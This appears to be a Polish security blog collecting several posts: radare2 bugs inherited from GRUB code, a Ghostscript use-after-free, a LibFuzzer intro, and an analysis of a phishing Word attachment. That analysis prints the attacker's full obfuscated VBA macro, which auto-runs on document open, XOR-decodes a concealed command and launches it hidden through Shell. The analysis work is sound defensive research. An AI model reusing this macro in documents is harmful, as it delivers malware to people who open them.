Pożyczony & zapomniany kod – dlaczego tego nie robić?

Krótka historyjka

Mimo, że tytuł posta jest dosyć oczywisty – porusza on całkiem poważny problem wielu projektów open-source i nie tylko.

Używamy cudzy kod, rozwijamy własny projekt, generalnie wszystko jest całkiem okej. Po pewnym czasie skupiamy się na funkcjonalnościach i problemach doraźnych, wiedząc, że “pożyczony” kod sobie działa i spełnia nasze oczekiwania. Mija nawet kilka lat, kod sobie dalej działa a priorytety projektu (i jego rozmiar) znacząco, lub nie, zostały zmienione i prawdopodobnie zmierzamy ku całkiem innemu celowi, niż pierwotnie zakładaliśmy.

Dlaczego zaczynam tak “na około”? Dlatego, że ta historia, całkiem niedawno dotknęła projekt radare2 (pisałem o nim m.in. tutaj). Efekt: cztery błędy związane tylko i wyłącznie z pożyczonym kodem z projektu GRUB. Kod ma ponad czteroletnią historię (okolice listopada 2013) i jest załatany od jakiegoś czasu w oficjalnym repozytorium projektu.

Morał z historyjki, w czterech częściach

Lista wyżej przytoczonych błędów w kolejności od “dotkliwości” problemu:

#1. Stack buffer underflow

radare2 Git HEAD: ad764839b20818d629131d4e07bda0038f9d747f

ASAN:

==32384==ERROR: AddressSanitizer: stack-buffer-underflow on address 0x7ffd57d028f8 at pc 0x7fc9c5b6ac47 bp 0x7ffd57d01c40 sp 0x7ffd57d01c38
WRITE of size 16 at 0x7ffd57d028f8 thread T0
    #0 0x7fc9c5b6ac46 in grub_memmove XYZ/radare2/shlr/grub/kern/misc.c:98:7
    #1 0x7fc9c5b67800 in grub_disk_read XYZ/radare2/shlr/grub/kern/disk.c:488:3
    #2 0x7fc9c5b68268 in grub_disk_read_ex XYZ/radare2/shlr/grub/kern/disk.c:563:12
    #3 0x7fc9c5b0754d in grub_fshelp_read_file XYZ/radare2/shlr/grub/fs/fshelp.c:333:4
    #4 0x7fc9c5b1134d in grub_ext2_read_file XYZ/radare2/shlr/grub/fs/ext2.c:504:9
    #5 0x7fc9c5b1134d in grub_ext2_iterate_dir XYZ/radare2/shlr/grub/fs/ext2.c:690
    #6 0x7fc9c5b0faf2 in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:876:3
    #7 0x7fc9c5af0c58 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
    #8 0x7fc9c5afbeaa in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
    #9 0x7fc9c8f20dfb in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
    #10 0x7fc9c90e76af in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
    #11 0x7fc9c8fd5811 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2191:12
    #12 0x7fc9c8f1d5b7 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1395:9
    #13 0x7fc9c8f16d24 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2799:9
    #14 0x7fc9c8f0183f in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2957:8
    #15 0x7fc9c90c1752 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
    #16 0x7fc9c90c1752 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2870
    #17 0x7fc9c90b1e41 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
    #18 0x7fc9c903d974 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
    #19 0x7fc9c903d974 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
    #20 0x555f8a113f6b in main XYZ/radare2/binr/radare2/radare2.c:952:14
    #21 0x7fc9c1bc782f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #22 0x555f8a043f38 in _start (/usr/local/bin/radare2+0x20f38)

ASAN:DEADLYSIGNAL
AddressSanitizer: nested bug in the same thread, aborting

GitHub Issue #7683

Commit naprawiający

CVE: CVE-2017-9949

#2. Excessive stack usage (zmienna przepełniająca ramkę stosu)

radare2 Git HEAD: ba25be4934ecd65b71170f7381655325157bde09

ASAN:

==13184==ERROR: AddressSanitizer: stack-overflow on address 0x7ffcef7dce98 (pc 0x7f9c7499cecc bp 0x7ffcf37dcf70 sp 0x7ffcef7dcea0 T0)
    #0 0x7f9c7499cecb in grub_ext2_read_block XYZ/radare2/shlr/grub/fs/ext2.c:389:4
    #1 0x7f9c74991326 in grub_fshelp_read_file XYZ/radare2/shlr/grub/fs/fshelp.c:305:15
    #2 0x7f9c7499b116 in grub_ext2_read_file XYZ/radare2/shlr/grub/fs/ext2.c:504:9
    #3 0x7f9c7499b116 in grub_ext2_iterate_dir XYZ/radare2/shlr/grub/fs/ext2.c:672
    #4 0x7f9c749999a1 in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:882:3
    #5 0x7f9c7497ae95 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
    #6 0x7f9c74985fc4 in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
    #7 0x7f9c77d7537d in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
    #8 0x7f9c77f3a25c in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
    #9 0x7f9c77e28ae1 in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2156:12
    #10 0x7f9c77d70d1e in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1360:9
    #11 0x7f9c77d6a626 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2764:9
    #12 0x7f9c77d555ad in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2922:8
    #13 0x7f9c77f142d7 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
    #14 0x7f9c77f142d7 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2873
    #15 0x7f9c77f04fd0 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
    #16 0x7f9c77e8e263 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
    #17 0x7f9c77e8e263 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
    #18 0x556a34e7013d in main XYZ/radare2/binr/radare2/radare2.c:952:14
    #19 0x7f9c70671510 in __libc_start_main (/usr/lib/libc.so.6+0x20510)
    #20 0x556a34d7ce29 in _start (/usr/local/bin/radare2+0x20e29)

SUMMARY: AddressSanitizer: stack-overflow XYZ/radare2/shlr/grub/fs/ext2.c:389:4 in grub_ext2_read_block
==13184==ABORTING

GitHub Issue #7723

Commit naprawiający

CVE: CVE-2017-9763

#3. FPE (dzielenie przez zero)

radare2 Git HEAD: 90ffb5463df15326cd8261da99b85597d4eb6b3b

==10375==ERROR: AddressSanitizer: FPE on unknown address 0x7fb2f4af4726 (pc 0x7fb2f4af4726 bp 0x7fff41d52850 sp 0x7fff41d52720 T0)
#0 0x7fb2f4af4725 in grub_ext2_read_inode XYZ/radare2/shlr/grub/fs/ext2.c:525:29
#1 0x7fb2f4af2ce4 in grub_ext2_mount XYZ/radare2/shlr/grub/fs/ext2.c:593:3
#2 0x7fb2f4af19ac in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:863:10
#3 0x7fb2f4ad2c58 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
#4 0x7fb2f4addeaa in r_fs_mount XYZ/radare2/libr/fs/fs.c:151:7
#5 0x7fb2f7ef996b in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:49:9
#6 0x7fb2f80be7df in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:226:10
#7 0x7fb2f7faddeb in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2178:12
#8 0x7fb2f7ef6127 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1368:9
#9 0x7fb2f7eef8b9 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2786:9
#10 0x7fb2f7eda74f in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2942:8
#11 0x7fb2f8098e42 in bin_info XYZ/radare2/libr/core/cbin.c:621:4
#12 0x7fb2f8098e42 in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2870
#13 0x7fb2f8089531 in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:115:3
#14 0x7fb2f8015064 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:434:2
#15 0x7fb2f8015064 in r_core_bin_load XYZ/radare2/libr/core/file.c:567
#16 0x55e7cf695f6b in main XYZ/radare2/binr/radare2/radare2.c:952:14
#17 0x7fb2f0bae82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#18 0x55e7cf5c5f38 in _start (/usr/local/bin/radare2+0x20f38)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE XYZ/radare2/shlr/grub/fs/ext2.c:525:29 in grub_ext2_read_inode
==10375==ABORTING

GitHub Issue #7650

Commit naprawiający

CVE: N/A

#4. FPE (modulo przez zero)

radare2 Git HEAD: 4ae632133ed34c7f80949a8a705635608a4ac45d

==1943==ERROR: AddressSanitizer: FPE on unknown address 0x7f5778308fd5 (pc 0x7f5778308fd5 bp 0x7fff9b7706a0 sp 0x7fff9b7705a0 T0)
#0 0x7f5778308fd4 in grub_ext2_read_inode XYZ/radare2/shlr/grub/fs/ext2.c:530:5
#1 0x7f5778307eb8 in grub_ext2_mount XYZ/radare2/shlr/grub/fs/ext2.c:582:3
#2 0x7f577830718f in grub_ext2_dir XYZ/radare2/shlr/grub/fs/ext2.c:848:10
#3 0x7f57782f55d8 in ext2__mount XYZ/radare2/libr/fs/p/fs_grub_base.c:74:8
#4 0x7f57782fd357 in r_fs_mount XYZ/radare2/libr/fs/fs.c:141:7
#5 0x7f577af9af12 in cmd_mount XYZ/radare2/libr/core/./cmd_mount.c:57:9
#6 0x7f577b0801fc in r_cmd_call XYZ/radare2/libr/core/cmd_api.c:213:10
#7 0x7f577afccbea in r_core_cmd_subst_i XYZ/radare2/libr/core/cmd.c:2039:16
#8 0x7f577af98f67 in r_core_cmd_subst XYZ/radare2/libr/core/cmd.c:1332:9
#9 0x7f577af95f85 in r_core_cmd XYZ/radare2/libr/core/cmd.c:2595:9
#10 0x7f577af8b538 in r_core_cmdf XYZ/radare2/libr/core/cmd.c:2735:8
#11 0x7f577b069581 in bin_info XYZ/radare2/libr/core/cbin.c:593:4
#12 0x7f577b066f0e in r_core_bin_info XYZ/radare2/libr/core/cbin.c:2610:45
#13 0x7f577b066d3d in r_core_bin_set_env XYZ/radare2/libr/core/cbin.c:109:3
#14 0x7f577b02d645 in r_core_file_do_load_for_io_plugin XYZ/radare2/libr/core/file.c:409:2
#15 0x7f577b02b8ef in r_core_bin_load XYZ/radare2/libr/core/file.c:527:4
#16 0x5586a8089593 in main XYZ/radare2/binr/radare2/radare2.c:822:14
#17 0x7f57748fe82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#18 0x5586a7fbbe58 in _start (/usr/local/bin/radare2+0x20e58)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: FPE XYZ/radare2/shlr/grub/fs/ext2.c:530:5 in grub_ext2_read_inode
==1943==ABORTING

GitHub Issue #6327

Commit naprawiający

CVE: N/A

Podwójnie “złośliwe” makro VBA

Nieco przydługi wstęp

Przyglądając się kampaniom mailingowym rozsiewającym złośliwe oprogramowanie, z dużą dozą pewności można stwierdzić, że w ponad 70% przypadków złośliwym załącznikiem jest plik pakietu Office – Word lub Excel zawierający makro.

Na przestrzeni ostatnich miesięcy aktor określany jako Thomas jest “głównym graczem” na polskim rynku takiego mailingu – kampanie Play, Alior Bank czy Paczki w RUCHu to tylko wycinek z wykorzystywanych przez niego scenariuszy. Poza scenariuszami mailingu ich autor dba również o techniczną stronę przedsięwzięcia – dokumenty zawierają zaciemnione lub zahasłowane makra, które mają chronić przed analizą lub budową sygnatur (w tym miejscu pominę skuteczność tych metod 😉 ).

Niestety (-stety) narzędzia wykorzystywane przez Thomasa nie są doskonałe – jeden z obfuskatorów Visual Basic w taki sposób zaciemnił kod makra, że przy jego uruchomieniu MS Word 2013 / 2016 ulega awarii z powodu odwołania do nieistniejącego obiektu w pamięci, czyli popularnego błędu null-pointer-dereference.

Screenshot z otwartego pliku w MS Word

Krótka analiza błędu

Załącznik maila (Zamówienie i płatność.doc, SHA1: a7d3025af58ce47189c5b51d36ab52a284642849) powoduje awarię we współdzielonej bibliotece VBE7.dll. Plik ten jest wykorzystywany we wszystkich programach pakietu Office 2013 / 2016 (we wcześniejszych prawdopodobnie też, lecz niestety nie miałem okazji przetestować 😉 ).

W podatnej funkcji (pod adresem 0x18016421C) deweloper biblioteki zapomniał o walidacji struktury przekazywanej do niej [funkcji] w argumencie. Niewłaściwa lub pusta wartość powoduje odwołanie do nieistniejącego miejsca w pamięci (adres w RDI + 0x28h), co widać wyraźnie na poniższym listingu kodu funkcji. Skutkuje to oczywiście awarią całego programu MS Word.

0:000> r
rax=0000000000000000 rbx=0000000000000000 rcx=00007ffe632758b0
rdx=0000000000000000 rsi=0000000000000001 rdi=0000000000000000
rip=00007ffe62f8f273 rsp=000000ed22f49350 rbp=000000ed22f49370
 r8=0000000000000001  r9=0000000000000000 r10=000000ed2f240150
r11=00007ffe632689f8 r12=0000000000000000 r13=0000000000000000
r14=0000000000000000 r15=0000000000000000
iopl=0         nv up ei pl zr na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246

0:000> u @$scopeip
VBE7!DllVbeTerm+0x137c3:
00007ffe`62f8f273 488b4f28        mov     rcx,qword ptr [rdi+28h]
00007ffe`62f8f277 e864e9f3ff      call    VBE7!rtcDoEvents+0x8fc (00007ffe`62ecdbe0)
00007ffe`62f8f27c 85c0            test    eax,eax
00007ffe`62f8f27e 0f8498d60a00    je      VBE7!rtcVarFromFormatVar+0x1010c (00007ffe`6303c91c)
00007ffe`62f8f284 85f6            test    esi,esi
00007ffe`62f8f286 0f85bad70a00    jne     VBE7!rtcVarFromFormatVar+0x10236 (00007ffe`6303ca46)
00007ffe`62f8f28c 488bcf          mov     rcx,rdi
00007ffe`62f8f28f e884e9f3ff      call    VBE7!rtcDoEvents+0x934 (00007ffe`62ecdc18)

Stacktrace


00 VBE7!DllVbeTerm+0x137c3
01 VBE7!DllVbeTerm+0xbe04e
02 VBE7!rtcSetCurrentCalendar+0x2dd5f
03 VBE7!rtcInputCharCountVar+0x827a
04 VBE7!rtcInputCharCountVar+0x99f6
05 VBE7!rtcInputCharCountVar+0x8425
06 VBE7!rtcGetHostLCID+0x2a4b
07 VBE7!DllVbeTerm+0x61d71
08 VBE7!GetLongPathNameA+0xc7de
09 VBE7!DllVbeTerm+0x46eaa
0a VBE7!VarPtr+0x416ba
0b VBE7!VarPtr+0x4196b
0c oleaut32!LoadTypeLib+0x33e
0d oleaut32!DispCallFunc+0x26e
0e VBE7!VarPtr+0x1d27a
0f VBE7!VarPtr+0x1b26b
10 VBE7!rtcEndOfFile+0x6443
11 VBE7!rtcEndOfFile+0x6322
12 wwlib!DllCanUnloadNow+0x251a58
13 wwlib!DllCanUnloadNow+0x250d55
14 wwlib!DllCanUnloadNow+0x1354a1
15 wwlib!PTLS7::LsDestroyContext+0x25c726
16 wwlib!DllCanUnloadNow+0x2ef6a
17 wwlib!PTLS7::LsDestroyContext+0x3b39bd
18 wwlib!PTLS7::LsNotReached+0x79be2
19 wwlib!PTLS7::FsDestroyPageBreakRecord+0x246b
1a wwlib!PTLS7::FsDestroyPageBreakRecord+0x22be
1b mso99Lwin32client+0xddb7d
1c mso99Lwin32client+0xddac9
1d mso99Lwin32client+0x47873
1e mso99Lwin32client+0x45f09
1f mso99Lwin32client+0x202da
20 mso99Lwin32client+0x127851
21 mso40uiwin32client!Ordinal177+0x2d4
22 USER32!DispatchMessageW+0x154
23 USER32!ScrollDC+0x1f7
24 wwlib!PTLS7::LsNotReached+0x7bd49
25 wwlib!FMain+0x61
26 WINWORD+0x1230
27 WINWORD+0x1519
28 KERNEL32!BaseThreadInitThunk+0xd
29 ntdll!RtlUserThreadStart+0x1d

Jak rozwiązywać podobne problemy?

Podczas analizy makr (np. pod kątem droppowania malware’u) lub awarii jakie powodują, warto zapoznać się z narzędziem olevba, częścią bardzo użytecznego pakietu oletools.

Poniżej zrzut makr ze złośliwego dokumentu (wraz z fajnym wyjaśnieniem co może być potencjalnie niebezpieczne):

===============================================================================
FILE: Zamówienie i płatność.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: Zamówienie i płatność.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Sub DocUment_OpEn()
If ActiveDocument.Variables("zBItWM").Value <> "tomas" Then
FJQHUgQozaiPBvJ
ActiveDocument.Variables("zBItWM").Value = "tomas"
If ActiveDocument.ReadOnly = False Then
ActiveDocument.Save
End If
End If
End Sub

-------------------------------------------------------------------------------
VBA MACRO avBsOWK.bin 
in file: Zamówienie i płatność.doc - OLE stream: u'Macros/VBA/avBsOWK'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Function QjrTnnWOcy(wNegMNijCu As Variant, aDdxKnvZPQ As Integer)
Dim BzxQRdyOYL, qDaHzkRvOe As String, EuuPpMnYah, imwtnySfgV
qDaHzkRvOe = ActiveDocument.Variables("zBItWM").Value()
BzxQRdyOYL = ""
EuuPpMnYah = 1
While EuuPpMnYah < UBound(wNegMNijCu) + 2
imwtnySfgV = EuuPpMnYah Mod Len(qDaHzkRvOe): If imwtnySfgV = 0 Then imwtnySfgV = Len(qDaHzkRvOe)
BzxQRdyOYL = BzxQRdyOYL + Chr(Asc(Mid(qDaHzkRvOe, imwtnySfgV + aDdxKnvZPQ, 1)) Xor CInt(wNegMNijCu(EuuPpMnYah - 1)))
EuuPpMnYah = EuuPpMnYah + 1
Wend
QjrTnnWOcy = BzxQRdyOYL
End Function
Function lbf()
lbf = Array(Minute(Now), Minute(Now), Minute(Now), QjrTnnWOcy(Array(0, 30, 46), 9), Minute(Now))
End Function
Function im()
im = Array(QjrTnnWOcy(Array(126, 115, 8), 204), Minute(Now))
End Function
Function fdf()
fdf = Array(Minute(Now), Minute(Now), QjrTnnWOcy(Array(32, 69, 110, 14, 79, 91), 2))
End Function
Function jojo()
gog = QjrTnnWOcy(Array(111, 98, 42, 23, 60, 65, 106, 56, 13, 49, 104, 62, 55, 117, 16, 125, 25, 62, 45, 35, 59, _
55, 111, 28, 36, 110, 98, 2, 61, 40, 57, 21, 97, 36, 28, 10, 61, 40, 2, 52, 80, _
107, 122, 18, 15, 45, 103, 61, 59, 54, 18, 33, 54, 4, 7, 0, 58, 81, 37, 61, 41, _
59, 64, 49, 63, 104, 91, 32, 25, 42, 65, 111, 53, 12, 52, 114, 7, 57, 40, 15, 26, _
20, 4, 32, 102, 127, 14, 10, 21, 45, 22, 31, 57, 61, 24, 10, 25, 28, 14, 49, 15, _
61, 29, 3, 32, 126, 50, 117, 48, 39, 58, 65, 52, 85, 30, 23, 33, 41, 27, 9, 25, _
30, 71, 56, 21, 67, 11, 30, 67, 18, 2, 93, 84, 121, 19, 58, 63, 30, 111, 18, 109, _
50, 7, 52, 84, 51, 31, 44, 116, 127, 11, 41, 41, 86, 92, 53, 82, 20, 26, 4, 42, _
45, 109, 89, 23, 104, 22, 62, 26, 42, 41, 106, 62, 49, 57, 65, 48, 80, 16, 50, 29, _
19, 34, 19, 23, 20, 119, 103, 48, 1, 11, 76), 12)
g1 = QjrTnnWOcy(Array(23, 4, 38, 96, 6, 46, 21, 11, 44, 53, 83, 33, 41, 119, 10, 50, 63, 54, 39, 2, 72, _
98, 36, 62, 42, 44, 23, 7, 1, 33, 43, 59, 23, 101, 17, 57, 0, 104, 24, 57, 7, _
61, 106, 109, 41, 4, 106, 108, 5, 41, 35, 68, 49, 83), 207)
gog3 = QjrTnnWOcy(Array(108), 0)
jojo = g1 & gog & gog3
End Function
Sub FJQHUgQozaiPBvJ()
ymus = VarType(Application.Build)
If ymus = 8 Then
fropi = Array(lbf()(3), im()(0), fdf()(2))
df = Join(fropi, "") & jojo
Dim retv As Variant
retv = Shell(df, vbHide)
End If
End Sub


+------------+---------------+-----------------------------------------+
| Type       | Keyword       | Description                             |
+------------+---------------+-----------------------------------------+
| AutoExec   | DocUment_OpEn | Runs when the Word or Publisher         |
|            |               | document is opened                      |
| Suspicious | Chr           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Xor           | May attempt to obfuscate specific       |
|            |               | strings (use option --deobf to          |
|            |               | deobfuscate)                            |
| Suspicious | Shell         | May run an executable file or a system  |
|            |               | command                                 |
| Suspicious | vbHide        | May run an executable file or a system  |
|            |               | command                                 |
+------------+---------------+-----------------------------------------+

WannaCry Ransomware

Zachęcam do zapoznania sie z moim wpisem na blogu CERT Polska o ransomware, który sparaliżował przed ostatnim weekendem (13-14 maja) masę instytucji w ponad 100 krajach – WannaCry.

Zajawka:

WannaCry (inne nazwy WCry, WannaCrypt, WanaCrypt0r) jest bardzo skutecznym w swoim działaniu złośliwym oprogramowaniem typu ransomware, które 12 maja swoim zasięgiem objęło ponad 100 krajów i 200 tysięcy komputerów z systemem operacyjnym Windows.

Ofiarami padły takie instytucje jak: brytyjska służba zdrowia, Nissan, Telefonica, FedEx, rosyjskie banki i koleje państwowe, indyjskie linie lotnicze Shaheen Airlines oraz włoskie uniwersytety. Kampania WannaCry mimo ogromnego zasięgu nie odniosła sukcesu komercyjnego – zdecydowało się zapłacić około 200 osób, a całkowita suma wpłat wynosi około 50 tysięcy dolarów.

Całość wpisu 🙂

[CVE-2017-6196] Ghostscript 9.21 – Use-after-free

Słowo wstępu

Przez prawie 1,5 miesiąca nie pojawił się na blogu żaden post dt. podatności – zdecydowanie nadszedł czas, aby to zmienić.

W tym poście opiszę bardzo ciekawe use-after-free w projekcie Ghostscript – interpreterze języka PostScript oraz plików PDF.

Oprogramowanie to jest często wykorzystywane jako core generatorów plików PDF lub demon zajmujący się obsługą plików rastrowych w drukarkach komputerowych. Często można z niego korzystać nawet nie wiedząc o jego istnieniu 🙂

Opis podatności

Luka występowała w wersji 9.21 (ostatnia stabilna, Git HEAD: 4d2b25f06c25e6e3e2b1bf319481a7442d42af8a).

Clue problemu było zarządzanie cyklem życia “obiektu” enumeratora używanego w funkcjach gx_begin_image1(), gx_begin_image4() oraz gx_image_enum_begin() (funkcja ta była wywoływana przez dwie pierwsze).

Pamięć dla enumetora alokowana była w funkcjach gx_begin_image[1,4]() i zwalniana w momencie zgłoszenia błędu przez gx_image_enum_begin().

Do tego momentu wszystko jest okej. Jednak ktoś wpadł na pomysł aby również w funkcji gx_image_enum_begin() zwalniać pamięć enumeratora przy okazji wystąpenia błędu.

Dodatkowo żeby dolać oliwy do ognia: nie zawsze pamięć w funkcji gx_image_enum_begin() była zwalniana. Z racji rozmiaru funkcji (prawie 750 LOC), kończy ona swoje wykonywanie w 9 miejscach – tylko 4 “wyjścia z funkcji” kończyły się zwolnieniem pamięci.

Następnie funkcja i_free_object() powołana do właściwego sprzątania po obiektach, sprawdzając typ obiektu – korzystała ze zwolnionej pamięci i triggerowała use-after-free.

Krótkie podsumowanie dla czytelników, którzy “złapali” overflow:

  1. Funkcja gx_begin_image[1,4]() alokuje enumerator i wywołuje funkcję gx_image_enum_begin()
  2. W przypadku wystąpienia błędu w gx_image_enum_begin(), funkcja gx_begin_image[1,4]() zwalnia pamięć tego obiektu
  3. Przy pewnych warunkach funkcja gx_image_enum_begin() również zwalnia pamięć tego obiektu
  4. Funkcja gx_begin_image[1,4]() “sprząta” po wszystkim za pomocą m.in. i_free_object()
  5. Do zadań i_free_object() należy sprawdzenie typu obiektu, który jest następnie zwalniany – w tym momencie dochodzi do odczytu zwolnionej pamięci

Załatanie tego błędu było banalnie proste i sprowadziło się do usunięcia czterech wywołań funkcji gs_free_object() w gx_image_enum_begin() – według zasady: “nie alokujesz pamięci, to też jej nie zwalniasz” 🙂

Log z ASAN:

==20050==ERROR: AddressSanitizer: heap-use-after-free on address 0x62b000000258 at pc 0x0000013f34f7 bp 0x7ffd6a96d7b0 sp 0x7ffd6a96d7a8
READ of size 8 at 0x62b000000258 thread T0
    #0 0x13f34f6 in i_free_object XYZ/ghostpdl/./base/gsalloc.c:1418:18
    #1 0x17fed3f in gx_begin_image1 XYZ/ghostpdl/./base/gximage1.c:99:9
    #2 0x18a7e16 in gx_default_begin_typed_image XYZ/ghostpdl/./base/gdevddrw.c:1059:12
    #3 0x18a79f8 in gx_default_begin_image XYZ/ghostpdl/./base/gdevddrw.c:1024:12
    #4 0x18a7d93 in gx_default_begin_typed_image XYZ/ghostpdl/./base/gdevddrw.c:1051:24
    #5 0x1476174 in gs_image_begin_typed XYZ/ghostpdl/./base/gsimage.c:252:12
    #6 0x1b344e5 in zimage_setup XYZ/ghostpdl/./psi/zimage.c:184:9
    #7 0x1b35cff in image1_setup XYZ/ghostpdl/./psi/zimage.c:246:12
    #8 0x1a22d37 in interp XYZ/ghostpdl/./psi/interp.c:1578:40
    #9 0x1a22d37 in gs_call_interp XYZ/ghostpdl/./psi/interp.c:511
    #10 0x1a22d37 in gs_interpret XYZ/ghostpdl/./psi/interp.c:468
    #11 0x19f5ab2 in gs_main_interpret XYZ/ghostpdl/./psi/imain.c:238:12
    #12 0x19f5ab2 in gs_main_run_string_end XYZ/ghostpdl/./psi/imain.c:656
    #13 0x19f5ab2 in gs_main_run_string_with_length XYZ/ghostpdl/./psi/imain.c:614
    #14 0x1a019ee in run_string XYZ/ghostpdl/./psi/imainarg.c:977:16
    #15 0x1a019ee in runarg XYZ/ghostpdl/./psi/imainarg.c:967
    #16 0x1a00e48 in argproc XYZ/ghostpdl/./psi/imainarg.c:900:16
    #17 0x19f9963 in gs_main_init_with_args XYZ/ghostpdl/./psi/imainarg.c:238:24
    #18 0x5475d8 in main XYZ/ghostpdl/./psi/gs.c:96:16
    #19 0x7f9f5c0d582f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #20 0x47ba08 in _start (/usr/local/bin/gs+0x47ba08)

0x62b000000258 is located 88 bytes inside of 24928-byte region [0x62b000000200,0x62b000006360)
freed by thread T0 here:
    #0 0x519ecb in __interceptor_free /home/llvm/clang-3.9/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:47:3
    #1 0x148af3f in gs_heap_free_object XYZ/ghostpdl/./base/gsmalloc.c:354:5

previously allocated by thread T0 here:
    #0 0x51a21c in malloc /home/llvm/clang-3.9/final/llvm.src/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:64:3
    #1 0x148a4ff in gs_heap_alloc_bytes XYZ/ghostpdl/./base/gsmalloc.c:189:34

SUMMARY: AddressSanitizer: heap-use-after-free XYZ/ghostpdl/./base/gsalloc.c:1418:18 in i_free_object
Shadow bytes around the buggy address:
  0x0c567fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c567fff8000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c567fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c567fff8040: fd fd fd fd fd fd fd fd fd fd fd[fd]fd fd fd fd
  0x0c567fff8050: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8060: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8070: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8080: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x0c567fff8090: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==20050==ABORTING

Bug #697596 w Bugzilli

Commit naprawiający: ecceafe3abba2714ef9b432035fe0739d9b1a283

CVE: CVE-2017-6196

LLVM LibFuzzer – Fast track #2

Słowo wstępu

Kolejna część szybkiego wprowadzenia do zagadnień związanych z LibFuzzerem – w tym poście skupię się na nieco “głębszym” wykorzystaniu wbudowanych funkcjonalności, tunigu wydajności fuzzera oraz pokryciu kodu za pomocą SanitizerCoverage.

Bez zbędnego rozwlekania, przechodzimy do konkretów 🙂

Jak robić to lepiej?

W moim rozumieniu: lepiej = większy code coverage || więcej execs/s.. Generalnie w przypadku fuzzerów zawsze należy pamiętać o prawidłowości: więcej execs/s -> większy korpus -> większy code coverage -> więcej potencjalnych crashy.

Autorzy LibFuzzera jako minimum przyjmują 1000 execs/s dla efektywnego fuzzingu.

Słowniki

Słowniki znacząco przyczyniają się do większego pokrycia kodu – fuzzujemy po prostu mądrze, nie tracąc cykli CPU na generowanie bezwartościowego inputu.

Pliki słowników wykorzystywane przez LibFuzzer są kompatybilne z AFL, więc możemy skorzystać z dostarczonych razem z tym fuzzerem. Jeżeli nie znajdziemy tam słownika kompatybilnego z naszym programem, warto poświęcić chwilę i napisać go samemu – ROI jest na prawdę duże 🙂

